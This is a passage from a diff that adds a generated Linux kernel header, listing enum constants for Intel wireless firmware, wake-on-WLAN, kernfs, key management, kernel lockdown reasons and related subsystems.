+ IWL_UCODE_TLV_CAPA_MONITOR_PASSIVE_CHANS = 122, + NUM_IWL_UCODE_TLV_CAPA = 123, +}; + +enum iwl_ucode_tlv_flag { + IWL_UCODE_TLV_FLAGS_PAN = 1, + IWL_UCODE_TLV_FLAGS_NEWSCAN = 2, + IWL_UCODE_TLV_FLAGS_MFP = 4, + IWL_UCODE_TLV_FLAGS_SHORT_BL = 128, + IWL_UCODE_TLV_FLAGS_D3_6_IPV6_ADDRS = 1024, + IWL_UCODE_TLV_FLAGS_NO_BASIC_SSID = 4096, + IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_SMALL = 32768, + IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_LARGE = 65536, + IWL_UCODE_TLV_FLAGS_UAPSD_SUPPORT = 16777216, + IWL_UCODE_TLV_FLAGS_EBS_SUPPORT = 33554432, + IWL_UCODE_TLV_FLAGS_P2P_PS_UAPSD = 67108864, +}; + +enum iwl_ucode_tlv_type { + IWL_UCODE_TLV_INVALID = 0, + IWL_UCODE_TLV_INST = 1, + IWL_UCODE_TLV_DATA = 2, + IWL_UCODE_TLV_INIT = 3, + IWL_UCODE_TLV_INIT_DATA = 4, + IWL_UCODE_TLV_BOOT = 5, + IWL_UCODE_TLV_PROBE_MAX_LEN = 6, + IWL_UCODE_TLV_PAN = 7, + IWL_UCODE_TLV_MEM_DESC = 7, + IWL_UCODE_TLV_RUNT_EVTLOG_PTR = 8, + IWL_UCODE_TLV_RUNT_EVTLOG_SIZE = 9, + IWL_UCODE_TLV_RUNT_ERRLOG_PTR = 10, + IWL_UCODE_TLV_INIT_EVTLOG_PTR = 11, + IWL_UCODE_TLV_INIT_EVTLOG_SIZE = 12, + IWL_UCODE_TLV_INIT_ERRLOG_PTR = 13, + IWL_UCODE_TLV_ENHANCE_SENS_TBL = 14, + IWL_UCODE_TLV_PHY_CALIBRATION_SIZE = 15, + IWL_UCODE_TLV_WOWLAN_INST = 16, + IWL_UCODE_TLV_WOWLAN_DATA = 17, + IWL_UCODE_TLV_FLAGS = 18, + IWL_UCODE_TLV_SEC_RT = 19, + IWL_UCODE_TLV_SEC_INIT = 20, + IWL_UCODE_TLV_SEC_WOWLAN = 21, + IWL_UCODE_TLV_DEF_CALIB = 22, + IWL_UCODE_TLV_PHY_SKU = 23, + IWL_UCODE_TLV_SECURE_SEC_RT = 24, + IWL_UCODE_TLV_SECURE_SEC_INIT = 25, + IWL_UCODE_TLV_SECURE_SEC_WOWLAN = 26, + IWL_UCODE_TLV_NUM_OF_CPU = 27, + IWL_UCODE_TLV_CSCHEME = 28, + IWL_UCODE_TLV_API_CHANGES_SET = 29, + IWL_UCODE_TLV_ENABLED_CAPABILITIES = 30, + IWL_UCODE_TLV_N_SCAN_CHANNELS = 31, + IWL_UCODE_TLV_PAGING = 32, + IWL_UCODE_TLV_SEC_RT_USNIFFER = 34, + IWL_UCODE_TLV_FW_VERSION = 36, + IWL_UCODE_TLV_FW_DBG_DEST = 38, + IWL_UCODE_TLV_FW_DBG_CONF = 39, + IWL_UCODE_TLV_FW_DBG_TRIGGER = 40, + IWL_UCODE_TLV_CMD_VERSIONS = 48, + IWL_UCODE_TLV_FW_GSCAN_CAPA = 50, + IWL_UCODE_TLV_FW_MEM_SEG = 51, + IWL_UCODE_TLV_IML = 52, + IWL_UCODE_TLV_UMAC_DEBUG_ADDRS = 54, + IWL_UCODE_TLV_LMAC_DEBUG_ADDRS = 55, + IWL_UCODE_TLV_FW_RECOVERY_INFO = 57, + IWL_UCODE_TLV_HW_TYPE = 58, + IWL_UCODE_TLV_FW_FSEQ_VERSION = 60, + IWL_UCODE_TLV_PHY_INTEGRATION_VERSION = 61, + IWL_UCODE_TLV_PNVM_VERSION = 62, + IWL_UCODE_TLV_PNVM_SKU = 64, + IWL_UCODE_TLV_SEC_TABLE_ADDR = 66, + IWL_UCODE_TLV_D3_KEK_KCK_ADDR = 67, + IWL_UCODE_TLV_CURRENT_PC = 68, + IWL_UCODE_TLV_FW_NUM_STATIONS = 256, + IWL_UCODE_TLV_FW_NUM_BEACONS = 258, + IWL_UCODE_TLV_TYPE_DEBUG_INFO = 16777221, + IWL_UCODE_TLV_TYPE_BUFFER_ALLOCATION = 16777222, + IWL_UCODE_TLV_TYPE_HCMD = 16777223, + IWL_UCODE_TLV_TYPE_REGIONS = 16777224, + IWL_UCODE_TLV_TYPE_TRIGGERS = 16777225, + IWL_UCODE_TLV_TYPE_CONF_SET = 16777226, + IWL_UCODE_TLV_DEBUG_MAX = 16777225, + IWL_UCODE_TLV_FW_DBG_DUMP_LST = 4096, +}; + +enum iwl_ucode_type { + IWL_UCODE_REGULAR = 0, + IWL_UCODE_INIT = 1, + IWL_UCODE_WOWLAN = 2, + IWL_UCODE_REGULAR_USNIFFER = 3, + IWL_UCODE_TYPE_MAX = 4, +}; + +enum iwl_uefi_cnv_puncturing_flags { + IWL_UEFI_CNV_PUNCTURING_USA_EN_MSK = 1, + IWL_UEFI_CNV_PUNCTURING_CANADA_EN_MSK = 2, +}; + +enum iwl_uhb_chan_cfg_flags { + IWL_UHB_CHAN_CFG_FLAG_UNSOLICITED_PROBE_RES = 16777216, + IWL_UHB_CHAN_CFG_FLAG_PSC_CHAN_NO_LISTEN = 33554432, + IWL_UHB_CHAN_CFG_FLAG_FORCE_PASSIVE = 67108864, +}; + +enum iwl_umac_scan_abort_status { + IWL_UMAC_SCAN_ABORT_STATUS_SUCCESS = 0, + IWL_UMAC_SCAN_ABORT_STATUS_IN_PROGRESS = 1, + IWL_UMAC_SCAN_ABORT_STATUS_NOT_FOUND = 2, +}; + +enum iwl_umac_scan_flags { + IWL_UMAC_SCAN_FLAG_PREEMPTIVE = 1, + IWL_UMAC_SCAN_FLAG_START_NOTIF = 2, +}; + +enum iwl_umac_scan_general_flags { + IWL_UMAC_SCAN_GEN_FLAGS_PERIODIC = 1, + IWL_UMAC_SCAN_GEN_FLAGS_OVER_BT = 2, + IWL_UMAC_SCAN_GEN_FLAGS_PASS_ALL = 4, + IWL_UMAC_SCAN_GEN_FLAGS_PASSIVE = 8, + IWL_UMAC_SCAN_GEN_FLAGS_PRE_CONNECT = 16, + IWL_UMAC_SCAN_GEN_FLAGS_ITER_COMPLETE = 32, + IWL_UMAC_SCAN_GEN_FLAGS_MULTIPLE_SSID = 64, + IWL_UMAC_SCAN_GEN_FLAGS_FRAGMENTED = 128, + IWL_UMAC_SCAN_GEN_FLAGS_RRM_ENABLED = 256, + IWL_UMAC_SCAN_GEN_FLAGS_MATCH = 512, + IWL_UMAC_SCAN_GEN_FLAGS_EXTENDED_DWELL = 1024, + IWL_UMAC_SCAN_GEN_FLAGS_PROB_REQ_DEFER_SUPP = 1024, + IWL_UMAC_SCAN_GEN_FLAGS_LMAC2_FRAGMENTED = 2048, + IWL_UMAC_SCAN_GEN_FLAGS_ADAPTIVE_DWELL = 8192, + IWL_UMAC_SCAN_GEN_FLAGS_MAX_CHNL_TIME = 16384, + IWL_UMAC_SCAN_GEN_FLAGS_PROB_REQ_HIGH_TX_RATE = 32768, +}; + +enum iwl_umac_scan_general_flags2 { + IWL_UMAC_SCAN_GEN_FLAGS2_NOTIF_PER_CHNL = 1, + IWL_UMAC_SCAN_GEN_FLAGS2_ALLOW_CHNL_REORDER = 2, + IWL_UMAC_SCAN_GEN_FLAGS2_COLLECT_CHANNEL_STATS = 8, +}; + +enum iwl_umac_scan_general_flags_v2 { + IWL_UMAC_SCAN_GEN_FLAGS_V2_PERIODIC = 1, + IWL_UMAC_SCAN_GEN_FLAGS_V2_PASS_ALL = 2, + IWL_UMAC_SCAN_GEN_FLAGS_V2_NTFY_ITER_COMPLETE = 4, + IWL_UMAC_SCAN_GEN_FLAGS_V2_FRAGMENTED_LMAC1 = 8, + IWL_UMAC_SCAN_GEN_FLAGS_V2_FRAGMENTED_LMAC2 = 16, + IWL_UMAC_SCAN_GEN_FLAGS_V2_MATCH = 32, + IWL_UMAC_SCAN_GEN_FLAGS_V2_USE_ALL_RX_CHAINS = 64, + IWL_UMAC_SCAN_GEN_FLAGS_V2_ADAPTIVE_DWELL = 128, + IWL_UMAC_SCAN_GEN_FLAGS_V2_PREEMPTIVE = 256, + IWL_UMAC_SCAN_GEN_FLAGS_V2_NTF_START = 512, + IWL_UMAC_SCAN_GEN_FLAGS_V2_MULTI_SSID = 1024, + IWL_UMAC_SCAN_GEN_FLAGS_V2_FORCE_PASSIVE = 2048, + IWL_UMAC_SCAN_GEN_FLAGS_V2_TRIGGER_UHB_SCAN = 4096, + IWL_UMAC_SCAN_GEN_FLAGS_V2_6GHZ_PASSIVE_SCAN = 8192, + IWL_UMAC_SCAN_GEN_FLAGS_V2_6GHZ_PASSIVE_SCAN_FILTER_IN = 16384, + IWL_UMAC_SCAN_GEN_FLAGS_V2_OCE = 32768, +}; + +enum iwl_umac_scan_general_params_flags2 { + IWL_UMAC_SCAN_GEN_PARAMS_FLAGS2_RESPECT_P2P_GO_LB = 1, + IWL_UMAC_SCAN_GEN_PARAMS_FLAGS2_RESPECT_P2P_GO_HB = 2, + IWL_UMAC_SCAN_GEN_PARAMS_FLAGS2_DONT_TOGGLE_ANT = 4, +}; + +enum iwl_wowlan_flags { + IS_11W_ASSOC = 1, + ENABLE_L3_FILTERING = 2, + ENABLE_NBNS_FILTERING = 4, + ENABLE_DHCP_FILTERING = 8, + ENABLE_STORE_BEACON = 16, +}; + +enum iwl_wowlan_mlo_gtk_flag { + WOWLAN_MLO_GTK_FLAG_KEY_LEN_MSK = 1, + WOWLAN_MLO_GTK_FLAG_KEY_ID_MSK = 14, + WOWLAN_MLO_GTK_FLAG_LINK_ID_MSK = 240, + WOWLAN_MLO_GTK_FLAG_KEY_TYPE_MSK = 768, + WOWLAN_MLO_GTK_FLAG_LAST_KEY_MSK = 1024, +}; + +enum iwl_wowlan_mlo_gtk_type { + WOWLAN_MLO_GTK_KEY_TYPE_GTK = 0, + WOWLAN_MLO_GTK_KEY_TYPE_IGTK = 1, + WOWLAN_MLO_GTK_KEY_TYPE_BIGTK = 2, + WOWLAN_MLO_GTK_KEY_NUM_TYPES = 3, +}; + +enum iwl_wowlan_pattern_type { + WOWLAN_PATTERN_TYPE_BITMASK = 0, + WOWLAN_PATTERN_TYPE_IPV4_TCP_SYN = 1, + WOWLAN_PATTERN_TYPE_IPV6_TCP_SYN = 2, + WOWLAN_PATTERN_TYPE_IPV4_TCP_SYN_WILDCARD = 3, + WOWLAN_PATTERN_TYPE_IPV6_TCP_SYN_WILDCARD = 4, +}; + +enum iwl_wowlan_wakeup_filters { + IWL_WOWLAN_WAKEUP_MAGIC_PACKET = 1, + IWL_WOWLAN_WAKEUP_PATTERN_MATCH = 2, + IWL_WOWLAN_WAKEUP_BEACON_MISS = 4, + IWL_WOWLAN_WAKEUP_LINK_CHANGE = 8, + IWL_WOWLAN_WAKEUP_GTK_REKEY_FAIL = 16, + IWL_WOWLAN_WAKEUP_EAP_IDENT_REQ = 32, + IWL_WOWLAN_WAKEUP_4WAY_HANDSHAKE = 64, + IWL_WOWLAN_WAKEUP_ENABLE_NET_DETECT = 128, + IWL_WOWLAN_WAKEUP_RF_KILL_DEASSERT = 256, + IWL_WOWLAN_WAKEUP_REMOTE_LINK_LOSS = 512, + IWL_WOWLAN_WAKEUP_REMOTE_SIGNATURE_TABLE = 1024, + IWL_WOWLAN_WAKEUP_REMOTE_TCP_EXTERNAL = 2048, + IWL_WOWLAN_WAKEUP_REMOTE_WAKEUP_PACKET = 4096, + IWL_WOWLAN_WAKEUP_IOAC_MAGIC_PACKET = 8192, + IWL_WOWLAN_WAKEUP_HOST_TIMER = 16384, + IWL_WOWLAN_WAKEUP_RX_FRAME = 32768, + IWL_WOWLAN_WAKEUP_BCN_FILTERING = 65536, +}; + +enum iwl_wowlan_wakeup_reason { + IWL_WOWLAN_WAKEUP_BY_NON_WIRELESS = 0, + IWL_WOWLAN_WAKEUP_BY_MAGIC_PACKET = 1, + IWL_WOWLAN_WAKEUP_BY_PATTERN = 2, + IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_MISSED_BEACON = 4, + IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_DEAUTH = 8, + IWL_WOWLAN_WAKEUP_BY_GTK_REKEY_FAILURE = 16, + IWL_WOWLAN_WAKEUP_BY_RFKILL_DEASSERTED = 32, + IWL_WOWLAN_WAKEUP_BY_UCODE_ERROR = 64, + IWL_WOWLAN_WAKEUP_BY_EAPOL_REQUEST = 128, + IWL_WOWLAN_WAKEUP_BY_FOUR_WAY_HANDSHAKE = 256, + IWL_WOWLAN_WAKEUP_BY_REM_WAKE_LINK_LOSS = 512, + IWL_WOWLAN_WAKEUP_BY_REM_WAKE_SIGNATURE_TABLE = 1024, + IWL_WOWLAN_WAKEUP_BY_REM_WAKE_TCP_EXTERNAL = 2048, + IWL_WOWLAN_WAKEUP_BY_REM_WAKE_WAKEUP_PACKET = 4096, + IWL_WOWLAN_WAKEUP_BY_IOAC_MAGIC_PACKET = 8192, + IWL_WOWLAN_WAKEUP_BY_D3_WAKEUP_HOST_TIMER = 16384, + IWL_WOWLAN_WAKEUP_BY_RXFRAME_FILTERED_IN = 32768, + IWL_WOWLAN_WAKEUP_BY_BEACON_FILTERED_IN = 65536, + IWL_WAKEUP_BY_11W_UNPROTECTED_DEAUTH_OR_DISASSOC = 131072, + IWL_WAKEUP_BY_PATTERN_IPV4_TCP_SYN = 262144, + IWL_WAKEUP_BY_PATTERN_IPV4_TCP_SYN_WILDCARD = 524288, + IWL_WAKEUP_BY_PATTERN_IPV6_TCP_SYN = 1048576, + IWL_WAKEUP_BY_PATTERN_IPV6_TCP_SYN_WILDCARD = 2097152, +}; + +enum iwlagn_chain_noise_state { + IWL_CHAIN_NOISE_ALIVE = 0, + IWL_CHAIN_NOISE_ACCUMULATE = 1, + IWL_CHAIN_NOISE_CALIBRATED = 2, + IWL_CHAIN_NOISE_DONE = 3, +}; + +enum iwlagn_d3_wakeup_filters { + IWLAGN_D3_WAKEUP_RFKILL = 1, + IWLAGN_D3_WAKEUP_SYSASSERT = 2, +}; + +enum iwlagn_false_alarm_state { + IWL_FA_TOO_MANY = 0, + IWL_FA_TOO_FEW = 1, + IWL_FA_GOOD_RANGE = 2, +}; + +enum iwlagn_wowlan_wakeup_filters { + IWLAGN_WOWLAN_WAKEUP_MAGIC_PACKET = 1, + IWLAGN_WOWLAN_WAKEUP_PATTERN_MATCH = 2, + IWLAGN_WOWLAN_WAKEUP_BEACON_MISS = 4, + IWLAGN_WOWLAN_WAKEUP_LINK_CHANGE = 8, + IWLAGN_WOWLAN_WAKEUP_GTK_REKEY_FAIL = 16, + IWLAGN_WOWLAN_WAKEUP_EAP_IDENT_REQ = 32, + IWLAGN_WOWLAN_WAKEUP_4WAY_HANDSHAKE = 64, + IWLAGN_WOWLAN_WAKEUP_ALWAYS = 128, + IWLAGN_WOWLAN_WAKEUP_ENABLE_NET_DETECT = 256, +}; + +enum jbd2_shrink_type { + JBD2_SHRINK_DESTROY = 0, + JBD2_SHRINK_BUSY_STOP = 1, + JBD2_SHRINK_BUSY_SKIP = 2, +}; + +enum jbd_state_bits { + BH_JBD = 16, + BH_JWrite = 17, + BH_Freed = 18, + BH_Revoked = 19, + BH_RevokeValid = 20, + BH_JBDDirty = 21, + BH_JournalHead = 22, + BH_Shadow = 23, + BH_Verified = 24, + BH_JBDPrivateStart = 25, +}; + +enum jump_label_type { + JUMP_LABEL_NOP = 0, + JUMP_LABEL_JMP = 1, +}; + +enum jvc_state { + STATE_INACTIVE = 0, + STATE_HEADER_SPACE = 1, + STATE_BIT_PULSE = 2, + STATE_BIT_SPACE = 3, + STATE_TRAILER_PULSE = 4, + STATE_TRAILER_SPACE = 5, + STATE_CHECK_REPEAT = 6, +}; + +enum kcore_type { + KCORE_TEXT = 0, + KCORE_VMALLOC = 1, + KCORE_RAM = 2, + KCORE_VMEMMAP = 3, + KCORE_USER = 4, +}; + +enum kernel_gp_hint { + GP_NO_HINT = 0, + GP_NON_CANONICAL = 1, + GP_CANONICAL = 2, +}; + +enum kernel_load_data_id { + LOADING_UNKNOWN = 0, + LOADING_FIRMWARE = 1, + LOADING_MODULE = 2, + LOADING_KEXEC_IMAGE = 3, + LOADING_KEXEC_INITRAMFS = 4, + LOADING_POLICY = 5, + LOADING_X509_CERTIFICATE = 6, + LOADING_MAX_ID = 7, +}; + +enum kernel_pkey_operation { + kernel_pkey_encrypt = 0, + kernel_pkey_decrypt = 1, + kernel_pkey_sign = 2, + kernel_pkey_verify = 3, +}; + +enum kernel_read_file_id { + READING_UNKNOWN = 0, + READING_FIRMWARE = 1, + READING_MODULE = 2, + READING_KEXEC_IMAGE = 3, + READING_KEXEC_INITRAMFS = 4, + READING_POLICY = 5, + READING_X509_CERTIFICATE = 6, + READING_MAX_ID = 7, +}; + +enum kernfs_node_flag { + KERNFS_ACTIVATED = 16, + KERNFS_NS = 32, + KERNFS_HAS_SEQ_SHOW = 64, + KERNFS_HAS_MMAP = 128, + KERNFS_LOCKDEP = 256, + KERNFS_HIDDEN = 512, + KERNFS_SUICIDAL = 1024, + KERNFS_SUICIDED = 2048, + KERNFS_EMPTY_DIR = 4096, + KERNFS_HAS_RELEASE = 8192, + KERNFS_REMOVING = 16384, +}; + +enum kernfs_node_type { + KERNFS_DIR = 1, + KERNFS_FILE = 2, + KERNFS_LINK = 4, +}; + +enum kernfs_root_flag { + KERNFS_ROOT_CREATE_DEACTIVATED = 1, + KERNFS_ROOT_EXTRA_OPEN_PERM_CHECK = 2, + KERNFS_ROOT_SUPPORT_EXPORTOP = 4, + KERNFS_ROOT_SUPPORT_USER_XATTR = 8, +}; + +enum key_being_used_for { + VERIFYING_MODULE_SIGNATURE = 0, + VERIFYING_FIRMWARE_SIGNATURE = 1, + VERIFYING_KEXEC_PE_SIGNATURE = 2, + VERIFYING_KEY_SIGNATURE = 3, + VERIFYING_KEY_SELF_SIGNATURE = 4, + VERIFYING_UNSPECIFIED_SIGNATURE = 5, + NR__KEY_BEING_USED_FOR = 6, +}; + +enum key_lookup_flag { + KEY_LOOKUP_CREATE = 1, + KEY_LOOKUP_PARTIAL = 2, + KEY_LOOKUP_ALL = 3, +}; + +enum key_need_perm { + KEY_NEED_UNSPECIFIED = 0, + KEY_NEED_VIEW = 1, + KEY_NEED_READ = 2, + KEY_NEED_WRITE = 3, + KEY_NEED_SEARCH = 4, + KEY_NEED_LINK = 5, + KEY_NEED_SETATTR = 6, + KEY_NEED_UNLINK = 7, + KEY_SYSADMIN_OVERRIDE = 8, + KEY_AUTHTOKEN_OVERRIDE = 9, + KEY_DEFER_PERM_CHECK = 10, +}; + +enum key_notification_subtype { + NOTIFY_KEY_INSTANTIATED = 0, + NOTIFY_KEY_UPDATED = 1, + NOTIFY_KEY_LINKED = 2, + NOTIFY_KEY_UNLINKED = 3, + NOTIFY_KEY_CLEARED = 4, + NOTIFY_KEY_REVOKED = 5, + NOTIFY_KEY_INVALIDATED = 6, + NOTIFY_KEY_SETATTR = 7, +}; + +enum key_state { + KEY_IS_UNINSTANTIATED = 0, + KEY_IS_POSITIVE = 1, +}; + +enum kfunc_ptr_arg_type { + KF_ARG_PTR_TO_CTX = 0, + KF_ARG_PTR_TO_ALLOC_BTF_ID = 1, + KF_ARG_PTR_TO_REFCOUNTED_KPTR = 2, + KF_ARG_PTR_TO_DYNPTR = 3, + KF_ARG_PTR_TO_ITER = 4, + KF_ARG_PTR_TO_LIST_HEAD = 5, + KF_ARG_PTR_TO_LIST_NODE = 6, + KF_ARG_PTR_TO_BTF_ID = 7, + KF_ARG_PTR_TO_MEM = 8, + KF_ARG_PTR_TO_MEM_SIZE = 9, + KF_ARG_PTR_TO_CALLBACK = 10, + KF_ARG_PTR_TO_RB_ROOT = 11, + KF_ARG_PTR_TO_RB_NODE = 12, + KF_ARG_PTR_TO_NULL = 13, + KF_ARG_PTR_TO_CONST_STR = 14, + KF_ARG_PTR_TO_MAP = 15, + KF_ARG_PTR_TO_WORKQUEUE = 16, +}; + +enum kmalloc_cache_type { + KMALLOC_NORMAL = 0, + KMALLOC_RANDOM_START = 0, + KMALLOC_RANDOM_END = 0, + KMALLOC_RECLAIM = 1, + KMALLOC_DMA = 2, + KMALLOC_CGROUP = 3, + NR_KMALLOC_TYPES = 4, +}; + +enum kmsg_dump_reason { + KMSG_DUMP_UNDEF = 0, + KMSG_DUMP_PANIC = 1, + KMSG_DUMP_OOPS = 2, + KMSG_DUMP_EMERG = 3, + KMSG_DUMP_SHUTDOWN = 4, + KMSG_DUMP_MAX = 5, +}; + +enum kobj_ns_type { + KOBJ_NS_TYPE_NONE = 0, + KOBJ_NS_TYPE_NET = 1, + KOBJ_NS_TYPES = 2, +}; + +enum kobject_action { + KOBJ_ADD = 0, + KOBJ_REMOVE = 1, + KOBJ_CHANGE = 2, + KOBJ_MOVE = 3, + KOBJ_ONLINE = 4, + KOBJ_OFFLINE = 5, + KOBJ_BIND = 6, + KOBJ_UNBIND = 7, +}; + +enum kprobe_slot_state { + SLOT_CLEAN = 0, + SLOT_DIRTY = 1, + SLOT_USED = 2, +}; + +enum kvm_apic_logical_mode { + KVM_APIC_MODE_SW_DISABLED = 0, + KVM_APIC_MODE_XAPIC_CLUSTER = 1, + KVM_APIC_MODE_XAPIC_FLAT = 2, + KVM_APIC_MODE_X2APIC = 3, + KVM_APIC_MODE_MAP_DISABLED = 4, +}; + +enum kvm_irqchip_mode { + KVM_IRQCHIP_NONE = 0, + KVM_IRQCHIP_KERNEL = 1, + KVM_IRQCHIP_SPLIT = 2, +}; + +enum kvm_stat_kind { + KVM_STAT_VM = 0, + KVM_STAT_VCPU = 1, +}; + +enum l1d_flush_mitigations { + L1D_FLUSH_OFF = 0, + L1D_FLUSH_ON = 1, +}; + +enum l1tf_mitigations { + L1TF_MITIGATION_OFF = 0, + L1TF_MITIGATION_FLUSH_NOWARN = 1, + L1TF_MITIGATION_FLUSH = 2, + L1TF_MITIGATION_FLUSH_NOSMT = 3, + L1TF_MITIGATION_FULL = 4, + L1TF_MITIGATION_FULL_FORCE = 5, +}; + +enum latency_range { + lowest_latency = 0, + low_latency = 1, + bulk_latency = 2, + latency_invalid = 255, +}; + +enum led_brightness { + LED_OFF = 0, + LED_ON = 1, + LED_HALF = 127, + LED_FULL = 255, +}; + +enum led_mode { + LED_MODE_DEFAULT = 0, + LED_MODE_TXRX_ACTIVITY = 1, + LED_MODE_SIGNAL_STRENGTH = 2, + LED_MODE_ASUS = 3, + LED_MODE_ALPHA = 4, +}; + +enum led_state { + led_on = 1, + led_off = 4, + led_on_559 = 5, + led_on_557 = 7, +}; + +enum led_trigger_netdev_modes { + TRIGGER_NETDEV_LINK = 0, + TRIGGER_NETDEV_LINK_10 = 1, + TRIGGER_NETDEV_LINK_100 = 2, + TRIGGER_NETDEV_LINK_1000 = 3, + TRIGGER_NETDEV_LINK_2500 = 4, + TRIGGER_NETDEV_LINK_5000 = 5, + TRIGGER_NETDEV_LINK_10000 = 6, + TRIGGER_NETDEV_HALF_DUPLEX = 7, + TRIGGER_NETDEV_FULL_DUPLEX = 8, + TRIGGER_NETDEV_TX = 9, + TRIGGER_NETDEV_RX = 10, + TRIGGER_NETDEV_TX_ERR = 11, + TRIGGER_NETDEV_RX_ERR = 12, + __TRIGGER_NETDEV_MAX = 13, +}; + +enum legacy_fs_param { + LEGACY_FS_UNSET_PARAMS = 0, + LEGACY_FS_MONOLITHIC_PARAMS = 1, + LEGACY_FS_INDIVIDUAL_PARAMS = 2, +}; + +enum lock_usage_bit { + LOCK_USED_IN_HARDIRQ = 0, + LOCK_USED_IN_HARDIRQ_READ = 1, + LOCK_ENABLED_HARDIRQ = 2, + LOCK_ENABLED_HARDIRQ_READ = 3, + LOCK_USED_IN_SOFTIRQ = 4, + LOCK_USED_IN_SOFTIRQ_READ = 5, + LOCK_ENABLED_SOFTIRQ = 6, + LOCK_ENABLED_SOFTIRQ_READ = 7, + LOCK_USED = 8, + LOCK_USED_READ = 9, + LOCK_USAGE_STATES = 10, +}; + +enum lockdep_lock_type { + LD_LOCK_NORMAL = 0, + LD_LOCK_PERCPU = 1, + LD_LOCK_WAIT_OVERRIDE = 2, + LD_LOCK_MAX = 3, +}; + +enum lockdep_ok { + LOCKDEP_STILL_OK = 0, + LOCKDEP_NOW_UNRELIABLE = 1, +}; + +enum lockdep_wait_type { + LD_WAIT_INV = 0, + LD_WAIT_FREE = 1, + LD_WAIT_SPIN = 2, + LD_WAIT_CONFIG = 2, + LD_WAIT_SLEEP = 3, + LD_WAIT_MAX = 4, +}; + +enum lockdown_reason { + LOCKDOWN_NONE = 0, + LOCKDOWN_MODULE_SIGNATURE = 1, + LOCKDOWN_DEV_MEM = 2, + LOCKDOWN_EFI_TEST = 3, + LOCKDOWN_KEXEC = 4, + LOCKDOWN_HIBERNATION = 5, + LOCKDOWN_PCI_ACCESS = 6, + LOCKDOWN_IOPORT = 7, + LOCKDOWN_MSR = 8, + LOCKDOWN_ACPI_TABLES = 9, + LOCKDOWN_DEVICE_TREE = 10, + LOCKDOWN_PCMCIA_CIS = 11, + LOCKDOWN_TIOCSSERIAL = 12, + LOCKDOWN_MODULE_PARAMETERS = 13, + LOCKDOWN_MMIOTRACE = 14, + LOCKDOWN_DEBUGFS = 15, + LOCKDOWN_XMON_WR = 16, + LOCKDOWN_BPF_WRITE_USER = 17, + LOCKDOWN_DBG_WRITE_KERNEL = 18, + LOCKDOWN_RTAS_ERROR_INJECTION = 19, + LOCKDOWN_INTEGRITY_MAX = 20, + LOCKDOWN_KCORE = 21, + LOCKDOWN_KPROBES = 22, + LOCKDOWN_BPF_READ_KERNEL = 23, + LOCKDOWN_DBG_READ_KERNEL = 24, + LOCKDOWN_PERF = 25, + LOCKDOWN_TRACEFS = 26, + LOCKDOWN_XMON_RW = 27, + LOCKDOWN_XFRM_SECRET = 28, + LOCKDOWN_CONFIDENTIALITY_MAX = 29, +}; + +enum loopback { + lb_none = 0, + lb_mac = 1, + lb_phy = 3, +}; + +enum lru_list { + LRU_INACTIVE_ANON = 0, + LRU_ACTIVE_ANON = 1, + LRU_INACTIVE_FILE = 2, + LRU_ACTIVE_FILE = 3, + LRU_UNEVICTABLE = 4, + NR_LRU_LISTS = 5, +}; + +enum lru_status { + LRU_REMOVED = 0, + LRU_REMOVED_RETRY = 1, + LRU_ROTATE = 2, + LRU_SKIP = 3, + LRU_RETRY = 4, + LRU_STOP = 5, +}; + +enum lruvec_flags { + LRUVEC_CGROUP_CONGESTED = 0, + LRUVEC_NODE_CONGESTED = 1, +}; + +enum lw_bits { + LW_URGENT = 0, +}; + +enum lwtunnel_encap_types { + LWTUNNEL_ENCAP_NONE = 0, + LWTUNNEL_ENCAP_MPLS = 1, + LWTUNNEL_ENCAP_IP = 2, + LWTUNNEL_ENCAP_ILA = 3, + LWTUNNEL_ENCAP_IP6 = 4, + LWTUNNEL_ENCAP_SEG6 = 5, + LWTUNNEL_ENCAP_BPF = 6, + LWTUNNEL_ENCAP_SEG6_LOCAL = 7, + LWTUNNEL_ENCAP_RPL = 8, + LWTUNNEL_ENCAP_IOAM6 = 9, + LWTUNNEL_ENCAP_XFRM = 10, + __LWTUNNEL_ENCAP_MAX = 11, +}; + +enum lwtunnel_ip6_t { + LWTUNNEL_IP6_UNSPEC = 0, + LWTUNNEL_IP6_ID = 1, + LWTUNNEL_IP6_DST = 2, + LWTUNNEL_IP6_SRC = 3, + LWTUNNEL_IP6_HOPLIMIT = 4, + LWTUNNEL_IP6_TC = 5, + LWTUNNEL_IP6_FLAGS = 6, + LWTUNNEL_IP6_PAD = 7, + LWTUNNEL_IP6_OPTS = 8, + __LWTUNNEL_IP6_MAX = 9, +}; + +enum lwtunnel_ip_t { + LWTUNNEL_IP_UNSPEC = 0, + LWTUNNEL_IP_ID = 1, + LWTUNNEL_IP_DST = 2, + LWTUNNEL_IP_SRC = 3, + LWTUNNEL_IP_TTL = 4, + LWTUNNEL_IP_TOS = 5, + LWTUNNEL_IP_FLAGS = 6, + LWTUNNEL_IP_PAD = 7, + LWTUNNEL_IP_OPTS = 8, + __LWTUNNEL_IP_MAX = 9, +}; + +enum mac { + mac_82557_D100_A = 0, + mac_82557_D100_B = 1, + mac_82557_D100_C = 2, + mac_82558_D101_A4 = 4, + mac_82558_D101_B0 = 5, + mac_82559_D101M = 8, + mac_82559_D101S = 9, + mac_82550_D102 = 12, + mac_82550_D102_C = 13, + mac_82551_E = 14, + mac_82551_F = 15, + mac_82551_10 = 16, + mac_unknown = 255, +}; + +enum mac80211_drop_reason { + RX_CONTINUE = 1, + RX_QUEUED = 0, + RX_DROP_MONITOR = 131072, + RX_DROP_M_UNEXPECTED_4ADDR_FRAME = 131073, + RX_DROP_M_BAD_BCN_KEYIDX = 131074, + RX_DROP_M_BAD_MGMT_KEYIDX = 131075, + RX_DROP_U_MIC_FAIL = 65537, + RX_DROP_U_REPLAY = 65538, + RX_DROP_U_BAD_MMIE = 65539, + RX_DROP_U_DUP = 65540, + RX_DROP_U_SPURIOUS = 65541, + RX_DROP_U_DECRYPT_FAIL = 65542, + RX_DROP_U_NO_KEY_ID = 65543, + RX_DROP_U_BAD_CIPHER = 65544, + RX_DROP_U_OOM = 65545, + RX_DROP_U_NONSEQ_PN = 65546, + RX_DROP_U_BAD_KEY_COLOR = 65547, + RX_DROP_U_BAD_4ADDR = 65548, + RX_DROP_U_BAD_AMSDU = 65549, + RX_DROP_U_BAD_AMSDU_CIPHER = 65550, + RX_DROP_U_INVALID_8023 = 65551, + RX_DROP_U_RUNT_ACTION = 65552, + RX_DROP_U_UNPROT_ACTION = 65553, + RX_DROP_U_UNPROT_DUAL = 